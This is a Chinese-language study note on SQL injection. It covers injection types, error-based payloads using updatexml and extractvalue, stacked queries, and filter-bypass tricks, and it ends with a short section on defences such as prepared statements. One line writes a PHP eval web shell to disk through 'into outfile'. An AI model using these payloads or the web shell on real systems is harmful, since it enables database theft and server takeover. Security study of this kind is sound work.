SQL注入原理:
用户输出的数据被当作后端代码执行
注入类型:
- 联合查询
- 盲注
- 报错注入
- 堆叠注入
- 二次注入
- 增删改注入
- limit注入
- order by注入
1. 联合查询
2. 盲注
(1)布尔盲注:数据库没有回显,只有对错
常用函数:
- length:查看长度
- substr(查询内容,1,1):截取字符串
- ascii:得到字符的ascii值
(2)时间盲注:数据库没有回显,都是正确
- sleep
- if(语句,正确执行,错误执行)
3.报错注入
常用函数:
- updatexml
- extractvalue
- floor
- exp
xpath语法错误
函数:updatexml,extractvalue
?id=1' and (select updatexml(1,concat('~',(select database())),1))
?id=1' and (select updatexml(1,concat('~',(子查询语句)),1))
?id=1' and (select extractvalue(1,concat('~',(select database()))))
?id=1' and (select extractvalue(1,concat('~',(子查询语句))))
主键重复
'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a--+
整型溢出
4.堆叠注入
条件:php中使用mysqli_multi_query()函数执行sql语句(一般情况下会使用mysqli_query())
方法:利用;执行多条语句
?id=1';show databases;-- qwe
也可以利用报错注入和延时注入
5.二次注入
原理:已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
条件:
- 用户向数据库插入恶意语句,即使是被转义
- 数据库对自己储存的数据很放心,将恶意语句直接传递给了用户
首先创建两个账户
设置不同的密码,然后修改Wf'#的密码,发现Wf的密码被修改
在修改密码时,数据库直接把数据给了用户,而Wf '#的’#被过滤掉了,导致修改为Wf修改密码
6.增删改注入
条件:在insert、delete、update语句注入
方式:报错注入、任意修改数据库内容。
7.limit注入
条件:在limit语句注入,mysql版本:5.0.0< MySQL <5.6.6
ps.新版本中不能够使用select
方式:报错注入,盲注
8.order by注入
条件:在order by语句注入
方式:报错注入,盲注
sql注入get shell
函数:(把得到的结果导出)
into outfile' 绝对路径'
into dumpfile' '
union select "<?php eval($_REQUEST[8])?>",2.3 into outfile'绝对路径'
这里还涉及一个白名单绕过,就不讲了
SQL注入绕过
空格
括号绕过:select(password)from(user)
%0a等字符
注释替代绕过:/**/,/!**/
逗号
from for: substr('dsfsadfs' from 1 for 2)
join:union select * from (select 1)a join (select 2)b join (select 3)c
offset:limit 0 offset 1
单引号
hex编码
char编码
比较符号
= :like regexp rlike
!= :<>
大小于:geartest(),least()
注释符
-- -、%23、;%00
同义函数
sleep,benchmark(5000000,select 1)
hex() bin() ascii() ord()
mid() substr() substring()
concat_ws() group_concat()
SQL注入的防御
- 预编译
- PDO
- 正则表达式的过滤
- 严格限制网站访问数据库的权限。
- 数据类型进行严格定义,数据长度进行严格规定
- 对用户输入进行转过滤
预编译
做些代码文本的替换工作,简单理解:
我可真是太##了!
预编译就是对#进行替换,我换成漂亮,则变成:我可真是太漂亮了!
原理:在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,即使参数里有敏感字符如 or '1=1'也数据库会作为一个参数一个字段的属性值来处理
转过滤
magic_quotes_gpc(魔法引号开关)遇到‘ “ \等会自动转义导致无法输入可执行代码